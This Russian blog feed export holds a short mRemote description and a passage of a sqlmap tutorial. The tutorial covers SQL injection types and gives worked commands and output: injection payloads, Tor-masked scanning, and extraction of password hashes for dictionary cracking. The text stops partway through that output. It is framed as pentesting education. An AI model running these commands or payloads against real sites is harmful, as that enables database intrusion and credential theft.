<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1303973132304848770</id><updated>2025-07-05T23:24:18.218-07:00</updated><category term="SQL-injection"/><category term="Firefox"/><category term="GRUB4DOS"/><category term="BackTrack 4"/><category term="Dedicated"/><category term="Fatal error"/><category term="God mode Windows 7"/><category term="SQLMAP"/><category term="Админ"/><category term="анонимность"/><title type='text'>Not3pad</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-8295880858964482681</id><published>2012-06-02T08:55:00.002-07:00</published><updated>2012-06-02T09:05:34.911-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Dedicated"/><category scheme="http://www.blogger.com/atom/ns#" term="Админ"/><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfjAZkOMAdcuo1E8zqIAw6WCP9EuLwhDlo6BcggGfwNupdRUhn-JcyMyE-5VfXlJPULl6dznTfBGPMQsoXukpTQg1smWKf5ugdmRJ__OtIf32m_uK_1fT0Tc-3x7w6IkpLm8OlrJqNxnft/s1600/mRemote.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfjAZkOMAdcuo1E8zqIAw6WCP9EuLwhDlo6BcggGfwNupdRUhn-JcyMyE-5VfXlJPULl6dznTfBGPMQsoXukpTQg1smWKf5ugdmRJ__OtIf32m_uK_1fT0Tc-3x7w6IkpLm8OlrJqNxnft/s1600/mRemote.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&lt;b&gt;&lt;span class=&quot;hps&quot;&gt;&lt;a href=&quot;http://www.mremote.org/wiki/Downloads.ashx&quot; target=&quot;_blank&quot;&gt;mRemote&lt;/a&gt; -&amp;nbsp;&lt;/span&gt;&lt;/b&gt; &lt;span class=&quot;hps&quot;&gt;является&lt;/span&gt; &lt;span class=&quot;hps&quot;&gt;полнофункциональны&lt;/span&gt;м &lt;span class=&quot;hps&quot;&gt;удаленным&lt;/span&gt; &lt;span class=&quot;hps&quot;&gt;менеджером&lt;/span&gt; &lt;span class=&quot;hps&quot;&gt;соединений.&lt;/span&gt;&lt;br /&gt; &lt;span class=&quot;hps&quot;&gt;Он позволяет&lt;/span&gt; &lt;span class=&quot;hps&quot;&gt;хранить все ваши&lt;/span&gt; &lt;span class=&quot;hps&quot;&gt;удаленные соединения&lt;/span&gt; &lt;span class=&quot;hps&quot;&gt;в&lt;/span&gt; &lt;span class=&quot;hps&quot;&gt;простом, но мощном&lt;/span&gt; &lt;span class=&quot;hps&quot;&gt;интерфейсе.&lt;/span&gt;&lt;br /&gt; &lt;span class=&quot;hps&quot;&gt;В настоящее время&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;hps&quot;&gt; поддерживаются&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&lt;span class=&quot;hps&quot;&gt;протоколы&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt;&amp;nbsp;&lt;span class=&quot;hps&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&lt;b&gt;&lt;i&gt;RDP&lt;/i&gt; &lt;i&gt;(англ. &lt;/i&gt;&lt;i&gt;Remote&lt;/i&gt;&lt;/b&gt;&lt;b&gt;&lt;i&gt; Desktop Protocol&lt;/i&gt;)&lt;/b&gt; — протокол удалённого рабочего стола&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; &lt;span class=&quot;hps atn&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;st&quot;&gt;&lt;i&gt;VNC &lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span class=&quot;st&quot;&gt;(англ. &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span class=&quot;st&quot;&gt;&lt;b&gt;&lt;i&gt;Virtual Network Computing&lt;i&gt;&lt;/i&gt;&lt;/i&gt;)&lt;/b&gt; — система удалённого доступа к рабочему столу компьютера&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; &lt;span class=&quot;hps&quot;&gt;ICA&lt;/span&gt;&lt;i&gt; &lt;span class=&quot;hps&quot;&gt;(&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&lt;i&gt;&lt;b&gt;англ.&lt;/b&gt;&lt;/i&gt; &lt;/span&gt;&lt;i&gt;&lt;b&gt;Independent Computing Architecture&lt;/b&gt;&lt;/i&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&lt;span class=&quot;hps&quot;&gt;&lt;/span&gt;&lt;span class=&quot;hps&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&lt;span class=&quot;hps&quot;&gt;&lt;/span&gt; - &lt;/span&gt;это закрытый протокол для сервера приложений, разработанного компанией &lt;a class=&quot;mw-redirect&quot; href=&quot;http://ru.wikipedia.org/wiki/Citrix_Systems&quot; target=&quot;_blank&quot; title=&quot;Citrix Systems&quot;&gt;Citrix Systems&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;b&gt;SSH (&lt;a href=&quot;http://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B3%D0%BB%D0%B8%D0%B9%D1%81%D0%BA%D0%B8%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA&quot; title=&quot;Английский язык&quot;&gt;&lt;span class=&quot;st&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;i&gt;&lt;span lang=&quot;en&quot;&gt;англ. Secure SHell)&lt;/span&gt;&lt;/i&gt;&lt;/b&gt; —  сетевой протокол прикладного уровня, позволяющий производить удалённое управление операционной системой и туннелирование TCP-соединений (например, для передачи файлов). Схож по функциональности с протоколами &lt;a href=&quot;http://ru.wikipedia.org/wiki/Telnet&quot; target=&quot;_blank&quot; title=&quot;Telnet&quot;&gt;Telnet&lt;/a&gt; и &lt;a href=&quot;http://ru.wikipedia.org/wiki/Rlogin&quot; target=&quot;_blank&quot; title=&quot;Rlogin&quot;&gt;rlogin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;hps atn&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;TELNET&lt;/b&gt; &lt;i&gt;&lt;b&gt;(англ.&amp;nbsp; TErminaL NETwork)&lt;/b&gt;&lt;/i&gt; — сетевой протокол для реализации текстового интерфейса по сети (в современной форме — при помощи транспорта TCP)&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;hps&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;HTTP / S&lt;/b&gt; &lt;i&gt;&lt;b&gt;(англ.&amp;nbsp;&lt;span lang=&quot;en&quot;&gt;HyperText Transfer Prоtocоl&lt;/span&gt;&lt;/b&gt;&lt;/i&gt; ) —&amp;nbsp; протокол прикладного уровня передачи данных (изначально&amp;nbsp;— в виде гипертекстовых документов)&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;RLOGIN&lt;/b&gt; (англ.&amp;nbsp;&lt;i&gt;&lt;span lang=&quot;en&quot;&gt;Remote LOGIN&lt;/span&gt;&lt;/i&gt;&amp;nbsp;— удалённый вход в систему)&amp;nbsp;— протокол прикладного уровня (7ой уровень модели OSI), часть стека TCP/IP. Позволяет пользователям UNIX
 подключаться к системам UNIX на других машинах и работать так же, как 
при прямом подключении терминала к машине. Этот протокол обеспечивает 
такой же сервис, как протокол TELNET.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; &lt;span class=&quot;hps&quot;&gt;RAW&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&lt;b&gt;&lt;span class=&quot;hps&quot;&gt; &amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&lt;span class=&quot;hps&quot;&gt;На сайте &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&lt;span class=&quot;hps&quot;&gt;также&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&lt;span class=&quot;hps&quot;&gt; присутствует&amp;nbsp; portable версия&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;hps&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;ru&quot;&gt;&lt;b&gt;&lt;span class=&quot;hps&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;hps&quot;&gt;&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;hps&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/8295880858964482681/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2012/06/mremote.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/8295880858964482681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/8295880858964482681'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2012/06/mremote.html' title=''/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfjAZkOMAdcuo1E8zqIAw6WCP9EuLwhDlo6BcggGfwNupdRUhn-JcyMyE-5VfXlJPULl6dznTfBGPMQsoXukpTQg1smWKf5ugdmRJ__OtIf32m_uK_1fT0Tc-3x7w6IkpLm8OlrJqNxnft/s72-c/mRemote.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-1508458071768948264</id><published>2011-12-08T23:59:00.000-08:00</published><updated>2011-12-09T00:01:02.674-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="SQL-injection"/><category scheme="http://www.blogger.com/atom/ns#" term="SQLMAP"/><title type='text'>Sqlmap: SQL-инъекции - это просто</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf8df3e4b48_QlMsmucN8k-iWHrMsUMbEpD-DEP-iXlfCzVyEY944Xu9aAZei8Qw5pYyllFeW74VCwtitUYPy8BFLEwEcoqYdztqlUw9mvxKX-QxSbme5qck7LZLoFG7_tMawng0UkH09g/s1600/sql-injection2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf8df3e4b48_QlMsmucN8k-iWHrMsUMbEpD-DEP-iXlfCzVyEY944Xu9aAZei8Qw5pYyllFeW74VCwtitUYPy8BFLEwEcoqYdztqlUw9mvxKX-QxSbme5qck7LZLoFG7_tMawng0UkH09g/s320/sql-injection2.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Разработкой сканера занимаются два человека. Мирослав Штампар (@stamparm),  профессиональный разработчик софта из Хорватии, и Бернардо Дамеле (@inquisb),  консультант по ИБ из Италии, сейчас проживающий и работающий в Великобритании.  Проект появился на свет в 2006 г. благодаря Даниэлю Беллучи (@belch), но  по-настоящему стремительно стал развиваться после того, как в 2009 г. в работу  включились Мирослав и Бернардо.&lt;br /&gt;
Итак, что такое sqlmap? Одна из мощнейших открытых утилит для пентестера,  которая автоматизирует процесс поиска и эксплуатации SQL-инъекций с целью  извлечения данных или захвата удаленного хоста. Что делает sqlmap отличным от  других утилит для обнаружения SQL-инъекций, так это возможность эксплуатировать  каждую найденную уязвимость. Это означает, что sqlmap способен не только  находить &quot;дырку&quot;, но еще и заюзать ее по полной программе. А коль уж в качестве  задачи ставится именно эксплуатация уязвимости, то сканеру приходится быть  особенно внимательным к деталям: он не будет выдавать миллион ложных  срабатываний &quot;так, на всякий случай&quot; (как это мы видим во многих других  приложениях). Любая потенциальная уязвимость дополнительно проверяется на  возможность эксплуатации. Сканер из коробки идет с огромным функционалом,  начиная от возможности определения системы управления базой данных (далее DBMS),  создания дампа (копии) данных и заканчивая получением доступа к системе с  возможностью обращаться к произвольным файлам на хосте и выполнять на сервере  произвольные команды. И все-таки главное — это обнаружение возможности сделать  инъекцию SQL-кода.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
************************************************&lt;br /&gt;
&lt;blockquote&gt;&lt;h2&gt;SQL-инъекция: что это?&lt;/h2&gt;SQL-инъекция — это атака, направленная на веб-приложение, в ходе которой   конструируется SQL-выражение из пользовательского ввода путем простой   конкантенации (например, &lt;code&gt;$query=&quot;SELECT * FROM users WHERE id=&quot;.$_REQUEST[&quot;id&quot;]&lt;/code&gt;).   В случае успеха атакующий может изменить логику выполнения SQL-запроса так,   как это ему нужно. Чаще всего он выполняет простой fingerprinting СУБД, а   также извлекает таблицы с наиболее &quot;интересными&quot; именами (например &quot;users&quot;).   После этого, в зависимости от привилегий, с которыми запущено уязвимое   приложение, он может обратиться к защищенным частям бэк-энда веб-приложения   (например, прочитать файлы на стороне хоста или выполнить произвольные   команды).&lt;/blockquote&gt;&lt;br /&gt;
************************************************&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;Какие уязвимости может находить SQLMAP?&lt;/h2&gt;Есть пять основных классов SQL-инъекций, и все их поддерживает&lt;br /&gt;
sqlmap:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;UNION query SQL injection&lt;/b&gt;. Классический вариант внедрения   SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с &quot;UNION   ALL SECECT&quot;. Эта техника работает, когда веб-приложения напрямую возвращают   результат вывода команды SELECT на страницу: с использованием цикла for или   похожим способом, так что каждая запись полученной из БД выборки   последовательно выводится на страницу. Sqlmap может также эксплуатировать   ситуацию, когда возвращается только первая запись из выборки (Partial UNION   query SQL injection).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Error-based SQL injection&lt;/b&gt;. В случае этой атаки сканер заменяет   или добавляет в уязвимый параметр синтаксически неправильное выражение,   после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в   которых содержалась бы заранее известная инъецированная последовательность   символов и где-то &quot;рядом&quot; вывод на интересующий нас подзапрос. Эта техника   работает только тогда, когда веб-приложение по каким-то причинам (чаще всего   в целях отладки) раскрывает ошибки DBMS.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Stacked queries SQL injection&lt;/b&gt;. Сканер проверяет, поддерживает ли   веб-приложение последовательные запросы, и, если они выполняются, добавляет   в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый   SQL-запрос. Этот прием в основном используется для внедрения SQL-команд,   отличных от SELECT, например для манипуляции данными (с помощью INSERT или   DELETE). Примечательно, что техника потенциально может привести к   возможности чтения/записи из файловой системы, а также выполнению команд в   ОС. Правда, в зависимости от используемой в качестве бэк-энда системы   управления базами данных, а также пользовательских привилегий.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Boolean-based blind SQL injection&lt;/b&gt;. Реализация так называемой   слепой инъекции: данные из БД в &quot;чистом&quot; виде уязвимым веб-приложением нигде   не возвращаются. Прием также называется дедуктивным. Sqlmap добавляет в   уязвимый параметр HTTP-запроса синтаксически правильно составленное   выражение, содержащее подзапрос SELECT (или любую другую команду для   получения выборки из базы данных). Для каждого полученного HTTP-ответа   выполняется сравнение headers/body страницы с ответом на изначальный запрос   — таким образом, утилита может символ за символом определить вывод   внедренного SQL-выражения. В качестве альтернативы пользователь может   предоставить строку или регулярное выражение для определения &quot;true&quot;-страниц   (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в sqlmap   для выполнения этой техники, способен извлечь каждый символ вывода максимум   семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных   символов, сканер подстраивает алгоритм для работы с более широким диапазоном   символов (например для unicode’а).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Time-based blind SQL injection&lt;/b&gt;. Полностью слепая инъекция. Точно   так же как и в предыдущем случае, сканер &quot;играет&quot; с уязвимым параметром. Но   в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на   определенное количество секунд (например, с помощью команд SLEEP() или   BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь   данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с   внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме   того, применяется специальный метод для верификации данных, чтобы уменьшить   вероятность неправильного извлечения символа из-за нестабильного соединения.&lt;/li&gt;
&lt;/ul&gt;Несмотря на то что сканер умеет автоматически эксплуатировать найденные  уязвимости, нужно детально представлять себе каждую из используемых техник. Если  тема SQL-инъекций тебе пока знакома только на пальцах, рекомендую полистать  архив ][ или прочитать мануал Дмитрия Евтеева &quot;&lt;a href=&quot;http://www.ptsecurity.ru/download/PT-devteev-Advanced-SQL-Injection.pdf&quot; target=&quot;_blank&quot;&gt;SQL  Injection: От А до Я&lt;/a&gt;&quot;. Важно также понимать, что для разных DBMS реализации  атаки зачастую сильно отличаются. Все эти случаи умеет обрабатывать sqlmap и на  данный момент поддерживает MySQL, Oracle, PostgreSQL, Microsoft SQL Server,  Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.&lt;br /&gt;
&lt;h2&gt;Фишки SQLMAP&lt;/h2&gt;Движок для определения SQL-уязвимостей — пускай и самая важная, но все-таки  не единственная часть функционала sqlmap. И прежде чем показать работу сканера в  действии, не могу хотя бы вкратце, но не рассказать о некоторых его фишках.  Итак, в sqlmap реализовано: &lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Извлечение имен пользователей, хешей их паролей, а также привилегий и   полей.&lt;/li&gt;
&lt;li&gt;Автоматическое распознавание типа используемого хеша и возможность   взлома его с помощью брутфорса по словарю.&lt;/li&gt;
&lt;li&gt;Получение списка баз данных, таблиц и столбцов.&lt;/li&gt;
&lt;li&gt;Возможность сделать полный или частичный дамп базы данных. &lt;/li&gt;
&lt;li&gt;Продвинутый механизм поиска баз, таблиц или даже столбцов (по всем базам   сразу), что может быть полезно для определения таблиц с &quot;интересными&quot;   данными вроде имен пользователей (users) или паролей (pass).&lt;/li&gt;
&lt;li&gt;Загрузка или, наоборот, закачка произвольных файлов на сервер, если   уязвимое веб-приложение использует MySQL, MySQL, PostreSQL или Microsoft SQL   Server.&lt;/li&gt;
&lt;li&gt;Выполнение произвольных команд и получение шелла, если на хосте   используется одна из СУБД, перечисленных в предыдущем пункте. &lt;/li&gt;
&lt;li&gt;Поддержка прямого подключения к базе данных (без явного использования   SQL-уязвимости) с использованием полученных в ходе атаки имени и пароля   пользователя для доступа к DMBS, а также IP-адреса, порта и имени базы   данных. &lt;/li&gt;
&lt;li&gt;Установка надежного TCP-соединения (так называемого out-ofband) между   машиной пентестера и хостом, на котором запущен сервер баз данных. В   качестве обертки для этого канала может стать интерактивная командная строка   (шелл), сессия Meterpreter или доступ к удаленному рабочему столу через   VNC-подключение.&lt;/li&gt;
&lt;li&gt;Повышение привилегий для процесса базы данных через команду getsystem   Metasploit’а, которая, помимо прочих, реализует известную технику kitrap0d   (MS10-015).&lt;/li&gt;
&lt;/ul&gt;Как один из авторов этой утилиты могу сказать: это действительно хороший  инструмент, созданный хакерами для хакеров. И он работает!&lt;br /&gt;
&lt;h2&gt;Приступаем к практике&lt;/h2&gt;Убедиться в этом тебе помогут несколько моих сценариев. Это наиболее типичные  ситуации, которые используют основные возможности sqlmap. К слову, ты тоже  можешь сразу проверить весь функционал сканера — например, на специально  созданном тренировочном приложении от OWASP (&lt;a href=&quot;http://www.owasp.org/&quot; target=&quot;_blank&quot;&gt;www.owasp.org&lt;/a&gt;),  в котором намеренно воссозданы многие из опасных ошибок программистов. Тут надо  сказать, что sqlmap написан на Python’е, а значит, ты сможешь запустить его под  любой ОС. Единственное требование — это установленный в системе интерпретатор  пайтона. В качестве объекта для теста на проникновение я буду использовать  виртуальную машину, на которой будет крутиться стандартный стек LAMP (Linux/Apache/MySQL/PHP)  вместе с несколькими уязвимыми веб-приложениями.&lt;br /&gt;
&lt;h3&gt;Сценарий № 1&lt;/h3&gt;Условимся, что мы хотим проэксплуатировать уязвимость, которая была найдена в  GET-параметре &quot;id&quot; веб-страницы, расположенной по адресу http://www.site.com/vuln.php?id=1  (для указания URL будет ключ -u). Чтобы снизить подозрительную активность, мы  будем маскироваться под обычный браузер (ключ --random-agent), а для подключения  использовать защищенный канал TOR-сети (--tor). Итак, запускаем sqlmap: &lt;br /&gt;
&lt;code&gt;$ python sqlmap.py -u &quot;http://www.site.com/vuln.php?id=1&quot;  --random-agent --tor &lt;br /&gt;
sqlmap/1.0-dev (r4365) — automatic SQL injection and database takeover tool&lt;/code&gt;&lt;br /&gt;
Сканер определит несколько точек для выполнения инъекций в 17 HTTP(S)-запросах.  Обрати внимание, что для каждой из них указывается тип, а также пэйлоад.&lt;br /&gt;
&lt;code&gt;Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Type: boolean-based blind&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Title: AND boolean-based blind — WHERE or HAVING clause&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Payload: id=1 AND 1826=1826&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Type: error-based&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Title: MySQL &amp;gt;= 5.0 AND error-based — WHERE or HAVING clause&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Payload: id=1 AND (SELECT 8532 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,116,120,58),  (SELECT (CASE WHEN (8532=8532) THEN 1 ELSE 0 END)),CHAR(58,98,121,102,58),FLOOR(RAND(0)*2))x  FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Type: UNION query&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Title: MySQL UNION query (NULL) — 3 columns&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,98,116,120,58),  IFNULL(CAST(CHAR(74,76,73,112,111,113,103,118,80,84) AS CHAR),CHAR(32)),CHAR(58,98,121,102,58))&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Type: AND/OR time-based blind&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Title: MySQL &amp;gt; 5.0.11 AND time-based blind&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Payload: id=1 AND SLEEP(10)&lt;/code&gt;&lt;br /&gt;
Помимо этого, сканер выполнит распознавание базы данных, а также других  технологий, использованных веб-приложением: &lt;br /&gt;
&lt;code&gt;[02:01:45] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web application technology: PHP 5.2.6, Apache 2.2.9&lt;br /&gt;
back-end DBMS: MySQL 5.0&lt;/code&gt;&lt;br /&gt;
В конце концов полученные данные будут записаны в определенный файл:&lt;br /&gt;
&lt;code&gt;[02:01:45] [INFO] Fetched data logged to text fi les under &#39;/opt/sqlmap/output/www.site.com&#39;&lt;/code&gt;&lt;br /&gt;
&lt;h3&gt;Сценарий № 2&lt;/h3&gt;Теперь следующий пример. Предположим, что мы хотим устроить более детальный  fingerprinting (-f) и получить текстовый баннер (--banner) системы управления  базой данных, включая ее официальное название, номер версии, а также текущего  пользователя (--current-user). Кроме того, нас будут интересовать сохраненные  пароли (--passwords) вместе с именами таблиц (--tables), но не включая  системные, (--exclude-sysdbs) — для всех содержащихся в СУБД баз данных. Нет  проблем, запускаем сканер:&lt;br /&gt;
&lt;code&gt;$ python sqlmap.py -u &quot;http://www.site.com/vuln.php?id=1&quot;  --random-agent --tor -f --banner --current-user --passwords --tables --exclude-sysdbs&lt;/code&gt;&lt;br /&gt;
Очень скоро мы получим все данные об используемых технологиях, которые  запрашивали:&lt;br /&gt;
&lt;code&gt;[02:08:27] [INFO] fetching banner&lt;br /&gt;
[02:08:27] [INFO] actively fi ngerprinting MySQL&lt;br /&gt;
[02:08:27] [INFO] executing MySQL comment injection fi ngerprint&lt;br /&gt;
&lt;br /&gt;
Error-based SQL injection web application technology: PHP 5.2.6, Apache 2.2.9&lt;br /&gt;
back-end DBMS: active fi ngerprint: MySQL &amp;gt;= 5.1.12 and &amp;lt; 5.5.0&lt;br /&gt;
comment injection fi ngerprint: MySQL 5.1.41&lt;br /&gt;
banner parsing fi ngerprint: MySQL 5.1.41&lt;br /&gt;
banner: &#39;5.1.41-3~bpo50+1&#39;&lt;/code&gt;&lt;br /&gt;
После — имя текущего пользователя:&lt;br /&gt;
&lt;code&gt;[02:08:28] [INFO] fetching current user&lt;br /&gt;
current user: &#39;root@localhost&#39;&lt;/code&gt;&lt;br /&gt;
Далее получаем хеши всех пользовательских паролей и выполняем брутфорс-атаку  по словарю:&lt;br /&gt;
&lt;code&gt;[02:08:28] [INFO] fetching database users password hashes &lt;br /&gt;
